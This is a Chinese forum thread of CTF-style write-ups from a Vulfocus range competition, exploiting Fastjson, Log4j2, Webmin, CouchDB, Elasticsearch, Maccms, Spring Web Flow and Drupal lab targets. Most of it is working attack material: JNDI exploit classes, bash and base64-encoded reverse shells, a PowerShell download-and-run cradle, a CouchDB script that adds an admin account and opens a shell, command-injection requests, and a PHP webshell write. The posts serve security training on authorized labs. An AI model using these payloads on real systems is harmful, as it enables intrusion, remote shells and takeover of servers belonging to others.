vps开启监听,成功反弹


50 Nagios Core(未完成)

扫目录,扫到nagios




但是在网上只找到**CVE-2016-9565**


https://paper.seebug.org/146/

找到了一个Exp,但是py2环境,没有利用成功:https://www.bugku.com/thread-87-1-1.html

比赛总结关于Wp

本篇Wp并不完善,仅将比赛过程中我自己拿过flag的都写了出来,另外又加了几个当时没来得及做的。因为最近项目比较忙,在闲暇中磨出来的,所以难免有些错漏和不足之处,还望各位师傅见谅。

比赛评价

除了比赛刚开始环境不稳和靶场开启上限之外,全程没有其他的痛点,所以总体我觉得比赛很可以的。就是最后的排名和我们的队名很有戏剧性。然后本次比赛综合来看是有点像比谁工具多,只要找到靶场的组件或者关键信息,就可以用工具直接打,有的还可以直接用goby扫。

些许建议

1、希望能在靶场的描述界面增加一个访问端口的描述,有些靶场一开启映射了好几个端口,还需要自己判断一下,如果能指点一下访问哪个端口映射的就方便多了。

2、另一个小想法就是能不能效仿这次比赛,在靶场中增加“盲打”模式,不告知靶场名称,需要自行收集






回复

使用道具 举报

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-2-6 09:58:57 | 显示全部楼层

【18】【36】【58】【59】【62】

本帖最后由 Meng0f 于 2022-2-6 10:09 编辑

Vulfocus靶场竞赛 WriteUphxd  24天前

作者:hxd@西津北固战队

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

FastJson-RCE-[CNVD-2017-02833]
概述
  • 目前存在漏洞的fastjson主要是两个版本

1.2.24 (cnvd_2017_02833)影响范围 <=1.2.24

1.2.47 (cnvd_2019_22238)影响范围 <=1.2.47

  • 漏洞检测的方式主要是POS请求发送json参数,然后反序列化执行命令,再通过dnslog平台来回显
  • 漏洞利用的方式主要是POS请求发送json参数,然后反序列化执行命令,反弹shell
  • 两个版本的漏洞检测和利用方式几乎一致,除了payload不一样
搭建靶机
  • 使用vulfocus搭建靶机,获得访问地址:192.168.1.11.59260,本机地址为192.168.0.20

vulfocus/fastjson-cndv_2017_02833

vulfocus/fastjson-cndv_2019_22238

vulfocus/035 (比赛靶机)

vulfocus/036 (比赛靶机)

通常看到json传输数据的,可以测试下是不是存在fastjson的漏洞,burp的插件可以很方便进行检测。这里因为是vulfocus的靶机,很熟悉,所以很明确的知道是存在fastjson的漏洞的

抓取流量
  • 打开url,并抓取流量,直接改成POST请求,随便测试json参数,发现并不会报错


准备利用环境

因为这个wp我很久之前写过,拿来改了改,所以前面是传统的方法和步骤,没有耐心的可以直接略过到最后

  • 搭建一个web服务器,如果有现成的可以直接用,前提是靶机要能够访问到这个web服务
  • 使用python可以很方便的搭建web服务,执行下面的命令,相当于开通了一个端口是8888的web服务
  1. python3 -m http.server 8888
复制代码


web服务的根目录就是当前命令执行的目录,可以建个文件夹,然后在这个文件夹目录下执行命令

后面我们要在此目录下创建文件


构建POC文件
  • 在web服务根目录下建立 Exploit.java 文件,代码如下
  1. public class Exploit{
  2.     public Exploit() {}
  3.     static
  4.     {
  5.         try {
  6.             String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
  7.                     ? new String[]{"cmd.exe","/c", "ping xxxx.dnslog.cn"}
  8.                     : new String[]{"/bin/bash","-c", "curl xxxx.dnslog.cn"};
  9.             Runtime.getRuntime().exec(cmds);
  10.         } catch (Exception e) {
  11.             e.printStackTrace();
  12.         }
  13.     }
  14.     public static void main(String[] args) {
  15.         Exploit e = new Exploit();
  16.     }
  17. }
复制代码


  • 替换后,执行命令把Exploit.java 编译成class
  1. javac Exploit.java
复制代码

  • 如果提示找不到这个命令,到你的jdk安装目录中找

成功生成了class文件



建立RMI服务

marshalsec-0.0.3-SNAPSHOT-all.jar

  • 执行下面的命令,建立RMI服务
  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Exploit" 8889
复制代码

这里命令需要重点理解,大致意思是通过加载 http://192.168.0.20:8888/Ecploit.class的方式在8889端口建立RMI服务,到这一步就理解了为什么上面要建立web服务,web服务的端口和RIM服务的端口不要混淆

网上很多文章这里说明的很模糊,端口号上下文也不匹配,导致复现失败

发送POC请求
  • payload,不同版本的不一样,这是1.2.24的
  1. {
  2.     "b":{
  3.         "@type":"com.sun.rowset.JdbcRowSetImpl",
  4.         "dataSourceName":"rmi://192.168.0.20:8889/Exploit",
  5.         "autoCommit":true
  6.     }
  7. }
复制代码

  • 这是1.2.47的
  1. {
  2.     "a":{
  3.         "@type":"java.lang.Class",
  4.         "val":"com.sun.rowset.JdbcRowSetImpl"
  5.     },
  6.     "b":{
  7.         "@type":"com.sun.rowset.JdbcRowSetImpl",
  8.         "dataSourceName":"rmi://192.168.0.20:8889/Exploit",
  9.         "autoCommit":true
  10.     }
  11. }
复制代码

  • POST请求的参数替换成payload

  • 查看了dnslog,果然接受到了请求,也就是说Exploit.java 文件中的命令得到了执行

  • 到此就证明了漏洞的存在
反弹shell
  • 其实到这里就很简单,只要修改Exploit.java的代码就行,为了方便我们直接创建一个新的文件 Rshell.java
  1. public class Rshell{
  2.     public Rshell() {}
  3.     static
  4.     {
  5.         try {
  6.             String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
  7.                     ? new String[]{"cmd.exe","/c", "powershell "IEX (New-object System.Net.Webclient).DownloadString('http://192.168.0.20/powercat.ps1'); powercat -c 192.168.0.20 -p 9999 -e powershell""}
  8.                     : new String[]{"/bin/bash","-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4xMS4xMS4xMS85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}"};
  9.             Runtime.getRuntime().exec(cmds);
  10.         } catch (Exception e) {
  11.             e.printStackTrace();
  12.         }
  13.     }
  14.     public static void main(String[] args) {
  15.         Rshell e = new Rshell();
  16.     }
  17. }
复制代码

  • 理解下这里的代码,这里反弹shell采用两种方式,根据不同的操作系统来区分
  • 靶机如果是windows,需要通过powercat来反弹shell,https://github.com/besimorhino/powercat


  • 例如使用PowerShell远程下载PowerCat执行反弹cmd命令
  1. powershell IEX (New-object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.106 -p 6666 -e cmd
复制代码

Rshell中的代码远程下载的是事先下载好然后放到python那个web服务下的,反弹的是powshell

  • 靶机如果是liunx就更加简单了,直接把命令base64加密然后替换就好
  1. bash -i >& /dev/tcp/192.168.0.20/9999 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMjAvOTk5OSAwPiYx
复制代码

  • 替换完成后,编译生成Rshell.class文件
  • 重启RIM服务
  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Rshell" 8889
复制代码

  • 本机开启监听
  1. nc -lvvp 9999
复制代码

  • 发送payload,注意修改成Rshell


  • 成功反弹了shell,获得了flag


更加便捷的方法

上面是比较传统的方法和过程,各路大神已经写了很多更加方便的工具,可以快速的建立RIM或者LDAP的服务,都不用自己从头开始构建恶意类了,可以直接反弹shell或者上传各种内存马

  • JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt

加密反弹shell的命令

  1. bash -i >& /dev/tcp/192.168.0.20/9999 0>&1
复制代码

加密网站

https://www.jackson-t.ca/runtime-exec-payloads.html

其实就是base64加密,也可以用其他工具

加密后

  1. bash -c {echo,YmFzaCAtaSA+JiAvZGVXXXXX5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
复制代码

启动服务

  1. [color=#333333]java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDMuMXXXXXXXOTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps的地址"[/color]
复制代码


  • JNDIExploit.jar

感兴趣的可以去了解  https://github.com/zzwlpx/JNDIExploit,感觉使用起来比上面那个还要方便,不过这个就见仁见智了



Log4j2-RCE-[CVE-2021-44228]
概述
漏洞描述

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞评级

CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重

CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞 严重

影响版本

注:Apache Log4j 1.x 版本不受此次漏洞影响。

CVE-2021-44228 Apache Log4j 远程代码执行漏洞

Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响)

CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞:

Apache Log4j 2.x >=2.0-beta9 且 < 2.16.0(2.12.2 版本不受影响)

漏洞POC搭建靶机

使用vulfocus搭建靶机,并获得访问地址

vulfocus/log4j2-rce-2021-12-09:latest

vulfocus/062 (比赛靶机)


因为比赛的靶机没有任何的漏洞描述,但是因为之前log4j2漏洞爆发的时候,第一时间在vulfocus上测试了相关的靶机,初始访问的时候也是这个页面,然后POST了下路径hello,返回ok,确认是log4j2漏洞




Payload

  1. <font color="#333333">${jndi:ldap://tm0ftq.dnslog.cn/Exploit} </font><p style="color: rgb(51, 51, 51); line-height: 25px;"></p>
复制代码

使用此paylaod可以直接通过dnslog查询的方式验证漏洞是否存在

  1. <font color="#333333">payload=%24%7Bjndi%3Aldap%3A%2F%2Ftm0ftq.dnslog.cn%2FExploit%7D</font><p style="color: rgb(51, 51, 51); line-height: 25px;"></p>
复制代码


dnglog的收到了请求,证明了漏洞的存在


漏洞利用



搭建LDAP服务

下载第三方工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt

加密反弹shell的命令

  1. <font color="#333333">bash -i >& /dev/tcp/47.103.XXX.XXX/9999 0>&1</font><p style="color: rgb(51, 51, 51); line-height: 25px;"></p>
复制代码

加密网站

https://www.jackson-t.ca/runtime-exec-payloads.html

其实就是base64加密,也可以用其他工具

加密后

  1. <font color="#333333">bash -c {echo,YmFzaCAtaSA+JiAvxxxxxM5Ljddddddd5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}</font><p style="color: rgb(51, 51, 51); line-height: 25px;"></p>
复制代码

启动服务

  1. <font color="#333333">java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxxk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps地址"</font><p style="color: rgb(51, 51, 51); line-height: 25px;"></p>
复制代码


开启监听

  1. <font color="#333333">nc -lvvp 9999</font><p style="color: rgb(51, 51, 51); line-height: 25px;"></p>
复制代码

反弹shell

使用第一个服务(其他几个我试了都不行),发送payload


反弹成功,并获得flag



Webmin-RCE-[CVE-2019-15107]
概述

漏洞描述

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

影响版本

Webmin <= 1.920

漏洞POC环境搭建

使用vulfocus,启动靶机

vulfocus/webmin-cve_2019_15107:latest

vulfocus/0019(比赛靶机)


打开页面,根据页面上的提示使用https访问,很显然是一个webmin系统



payload

  1. POST  /password_change.cgi HTTP/1.1
  2. Host: 106.75.119.109:24335
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
  4. Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Cookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1
  8. DNT: 1
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. Content-Length: 60

  12. user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
复制代码

发送payload,可以发现返回了当前用户



漏洞利用

具体操作同上,只需要修改命令即可,比如获取flag



CouchDB-RCE-[CVE-2017-12636]
概述



漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。CouchDB允许通过自身提供的Restful API接口动态修改配置属性,我们可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。

影响版本

CouchDB < 1.7.0

CouchDB < 2.1.1

漏洞POC环境搭建

使用vulfocus搭建环境,启动靶机

vulfocus/couchdb-cve_2017_12636:latest

vulfocus/059 (比赛靶机)


比赛靶机隐藏了漏洞的描述,不过通过访问地址返回的json,我们可以看到是couchdb,版本为1.6.0

Payload

脚本中的参数需要修改

target:靶机地址,

command:星号改成自己的vps地址,用于反弹shell

version:根据CouchDB的版本来设置, 1表示为1.X,2表示为2.X

  1. #!/usr/bin/env python3
  2. import requests
  3. import json
  4. import base64
  5. from requests.auth import HTTPBasicAuth

  6. target = 'http://xxxxxx:xxxx'
  7. command = rb"""sh -i >& /dev/tcp/***.***.***.***/9999 0>&1"""
  8. version = 1

  9. session = requests.session()
  10. session.headers = {
  11.     'Content-Type': 'application/json'
  12. }
  13. # session.proxies = {
  14. #     'http': 'http://127.0.0.1:8085'
  15. # }
  16. session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  17.   "type": "user",
  18.   "name": "wooyun",
  19.   "roles": ["_admin"],
  20.   "roles": [],
  21.   "password": "wooyun"
  22. }''')

  23. session.auth = HTTPBasicAuth('wooyun', 'wooyun')

  24. command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
  25. if version == 1:
  26.     session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
  27. else:
  28.     host = session.get(target + '/_membership').json()['all_nodes'][0]
  29.     session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

  30. session.put(target + '/wooyun')
  31. session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

  32. if version == 1:
  33.     session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
  34. else:
  35.     session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
复制代码

在vps上开启监听

  1. <font color="#333333" style="font-size: 16px;">nc -lvvp 9999</font><p style="font-size: 16px; color: rgb(51, 51, 51); line-height: 25px;"></p>
复制代码

执行脚本并反弹shell




漏洞利用

操作同上,比如获取flag




ElasticSearch-RCE-[CVE-2014-3120]


概述



漏洞描述

ElasticSearch是基于开源的全文检索引擎Lucene,是一个实时分布式搜索和分析引擎,支持全文检索,结构化检索和数据分析等。

ElasticSearch1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

影响版本

ElasticSearch < 1.2

漏洞POC环境搭建

使用vulfocus搭建环境,开启靶机

vulfocus/elasticsearch-cve_2014_3120:latest

vulfocus/058(比赛靶机)



访问地址,返回的是一串json的字符串,因为比赛的靶机隐藏了漏洞的描述信息,所以熟悉的人可能知道这个是ElasticSearch的版本信息,可以看到版本号是 1.1.1。


不熟悉的人就要使用工具先收集一些信息了。这里我们使用信息收集的利器Goby,自带了大量系统、设备和中间件的识别指纹,还可以进行各种漏洞检测利用,尤其是红队版,漏洞的检测能力更强。



Payload

首先添加一条数据

  1. POST /website/blog/ HTTP/1.1
  2. Host: 106.75.119.109:58472
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
  4. Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cache-Control: max-age=0
  10. Content-Length: 26

  11. {
  12.   "name": "vulfocus"
  13. }
复制代码


执行命令,script的部分就是执行java代码的

  1. <span style="font-family: monaco, Consolas, &quot;Liberation Mono&quot;, Courier, monospace; font-size: 13px; white-space: pre-wrap; background-color: rgb(240, 240, 240);">POST /_search?pretty HTTP/1.1
  2. Host: 106.75.119.109:44991
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
  4. Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cache-Control: max-age=0
  10. Content-Length: 361

  11. {
  12.     "size": 1,
  13.     "query": {
  14.       "filtered": {
  15.         "query": {
  16.           "match_all": {
  17.           }
  18.         }
  19.       }
  20.     },
  21.     "script_fields": {
  22.         "command": {
  23.             "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("ls /tmp").getInputStream()).useDelimiter("\\\\A").next();"
  24.         }
  25.     }
  26. }</span>
复制代码



漏洞利用

具体操作同上,比如还可以同时执行多个恶意代码

  1. POST /_search?pretty HTTP/1.1
  2. Host: 106.75.119.109:44991
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
  4. Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cache-Control: max-age=0
  10. Content-Length: 532

  11. {
  12.     "size": 1,
  13.     "query": {
  14.       "filtered": {
  15.         "query": {
  16.           "match_all": {
  17.           }
  18.         }
  19.       }
  20.     },
  21.     "script_fields": {
  22.         "command": {
  23.             "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("ls /tmp").getInputStream()).useDelimiter("\\\\A").next();"
  24.         },
  25. "test": {
  26.             "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A").next();"
  27.         }
  28.     }
  29. }
复制代码




总结

本次vulfocus靶场竞赛,竞争激烈,参与者众多,一度导致系统无法正常访问,不过赛事举办方忙而不乱,稳中有序,及时处理了各种问题,保障了比赛的正常进行,这里要为举办方的付出和努力点个赞。

这次比赛的题目都是出自于vulfocus的靶场,不过隐去了漏洞的描述,所以对选手的信息收集能力有了一定的要求,需要先确定是什么漏洞(不得不说goby真的很好用),参与比赛让我意识到,不是为了打靶场而打靶场,相关的漏洞要多了解,各种工具和脚本不是拿来主义,而是要能够明白里面的逻辑和原理,才能转化为自己的知识和能力。



回复

使用道具 举报

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-2-6 10:10:39 | 显示全部楼层

【30】【36】【45】【52】【58】【59】【62】【71】【76】【77】

本帖最后由 Meng0f 于 2022-2-6 10:18 编辑

Vulfocus 靶场竞赛 WriteUp匿名者  25天前

作者:夏天@UTF-8

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

题目号:030
描述

Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

CVE编号:CVE-2017-17733


复现


POC

  1. http://106.75.119.109:56376/?m=vod-search
  2. POST:wd={if-A:phpinfo()}{endif-A}
复制代码

写入一句话木马,post传入

  1. wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}<p style="line-height: 25px;"></p>
复制代码


木马路径http://106.75.119.109:56376/c.php 密码:c


题目号:036


描述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

cnvd漏洞编号:CNVD-2017-02833


复现

反弹shell

Exploit.java


  1. import java.io.BufferedReader;
  2. import java.io.InputStream;
  3. import java.io.InputStreamReader;
  4. public class Exploit{
  5.     public Exploit() throws Exception {
  6.         Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"});
  7.         InputStream is = p.getInputStream();
  8.         BufferedReader reader = new BufferedReader(new InputStreamReader(is));
  9.         String line;
  10.         while((line = reader.readLine()) != null) {
  11.             System.out.println(line);
  12.         }
  13.         p.waitFor();
  14.         is.close();
  15.         reader.close();
  16.         p.destroy();
  17.     }
  18.     public static void main(String[] args) throws Exception {
  19.     }
  20. }
复制代码

javac生成Exploit.class

  1. python3 -m http.server --bind 0.0.0.0 1234  开启WEB服务,要在Exploit.class目录下
复制代码

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:1234/#Exploit" 9999    开启rmi服务加载恶意payload
复制代码

  1. POST / HTTP/1.1
  2. Host: 106.75.119.109:8319
  3. Content-Length: 263
  4. Pragma: no-cache
  5. Cache-Control: no-cache
  6. Upgrade-Insecure-Requests: 1
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  8. Origin: <a href="http://106.75.119.109:8319" target="_blank">http://106.75.119.109:8319</a>
  9. Content-Type: text/plain
  10. Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  11. Referer: <a href="http://106.75.119.109:8319/" target="_blank">http://106.75.119.109:8319/</a>
  12. Accept-Encoding: gzip, deflate
  13. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  14. Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ; redirect=1; JSESSIONID=52353575D2190FB692CBB1125D978C4B
  15. Connection: close

  16. {
  17.     "a":{
  18.         "@type":"java.lang.Class",
  19.         "val":"com.sun.rowset.JdbcRowSetImpl"
  20.     },
  21.     "b":{
  22.         "@type":"com.sun.rowset.JdbcRowSetImpl",
  23.         "dataSourceName":"rmi://xxxxxxxxxx:9999/Exploit",
  24.         "autoCommit":true
  25.     }
  26. }
复制代码



题目号:045



描述

Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password


CVE编号:CVE-2020-35606


复现

https访问

https://106.75.119.109:37875/password_change.cgi

user=rootxx&pam=&expired=2&old=ls /tmp&new1=test2&new2=test2



题目号:052



描述

Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。


CVE编号:CVE-2019-9644


复现



题目号:058



描述

Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎。它允许您快速,近实时地存储,搜索和分析大量数据。它通常用作底层引擎/技术,为具有复杂搜索功能和要求的应用程序提供支持。


ElasticSearch其有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。但其用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。


而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。


CVE编号:CVE-2015-1427


复现

  1. POST /_search?pretty HTTP/1.1
  2. Host: 106.75.119.109:33026
  3. Pragma: no-cache
  4. Cache-Control: no-cache
  5. Accept: text/plain, */*; q=0.01
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  7. X-Requested-With: xm lHttpRequest
  8. Referer: <a href="http://106.75.119.109:33026/_search?pretty" target="_blank">http://106.75.119.109:33026/_search?pretty</a>
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  11. Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ
  12. Connection: close
  13. Content-Type: application/x-www-form-urlencoded
  14. Content-Length: 361

  15. {
  16.     "size": 1,
  17.     "query": {
  18.       "filtered": {
  19.         "query": {
  20.           "match_all": {
  21.           }
  22.         }
  23.       }
  24.     },
  25.     "script_fields": {
  26.         "command": {
  27.             "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("ls /tmp").getInputStream()).useDelimiter("\\\\A").next();"
  28.         }
  29.     }
  30. }
复制代码

题目号:059

描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。 CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。


复现

看到主页一脸懵逼,这什么东西

不懂就上nmap扫指纹

  1. nmap -p 20785 -sV -sC -v 106.75.119.109<p style="line-height: 25px;"></p>
复制代码

版本1.6.0


真正的主页http://106.75.119.109:20785/_utils/


POC

  1. curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/_config/query_servers/cmd' -d '"ping -t 4 `ls /tmp`.wu5vm3.dnslog.cn"'

  2. curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456

  3. curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7a"}'

  4. curl -X POST 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
复制代码

坑点,在执行第二遍的第二条命令时会报错(无法创建数据库,文件已存在。),需要把vultest123456改一下,三和四也要改成一样的。


题目号:062



描述

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。


CVE编号:CVE-2021-44228


复现

工具地址

  1. <div><font color="rgb(51, 51, 51)"><font face="arial, sans-serif"><font style="font-size: 16px">https://github.com/Mr-xn/JNDIExploit-1</font></font></font></div><div></div>
复制代码

  1. root@iZ2zegj6z62g2us7qvukxsZ:~/test# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xxxxxxxxxx -l 7000 -p 5000
  2. [+] LDAP Server Start Listening on 7000...
  3. [+] HTTP Server Start Listening on 5000...
复制代码
  1. payload=${jndi:ldap://xxx.xxx.xxx.xxx:7000/TomcatBypass/TomcatEcho}<p style="line-height: 25px;"></p>
复制代码

题目号:071



描述

Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞


CVE编号:CVE-2017-4971


复现

点击Login进入登录模块


多个默认账号与密码,随意挑选一个进行登录



漏洞触发点

http://your-ip/hotels/1

点击Book Hotel



填写好点击proceed



在点击Confirm的时候抓下包



payload

  1. _eventId_confirm=&_csrf=404e5fd4-b3e6-42f2-ac0c-23c16de3b1de&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/8089+0>%261")).start()=vulhub<p style="line-height: 25px;"></p>
复制代码

成功反弹shell



题目号:076


描述

Drupal core是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。


cve编号:cve-2019-6339


复现

先登录:用户名密码:admin/123456(比赛中用的密码基本都是这种弱密码)



POC下载地址

https://github.com/thezdi/PoC/tree/master/Drupal


进入链接上传POC

http://xxx.xxx.xxx.xxx/user/1/edit


复制图片链接http://xxx.xxx.xxx.xxx:36857/sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg


Drupal的默认文件保存地址是/site/default/files/pictures/xxx-xxx/图片名字


然后设置一个临时目录

http://xxx.xxx.xxx.xxx:55965/admin/config/media/file-system


改成phar://./sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg放入Temporary directory


点击Save configuration保存日志触发漏洞


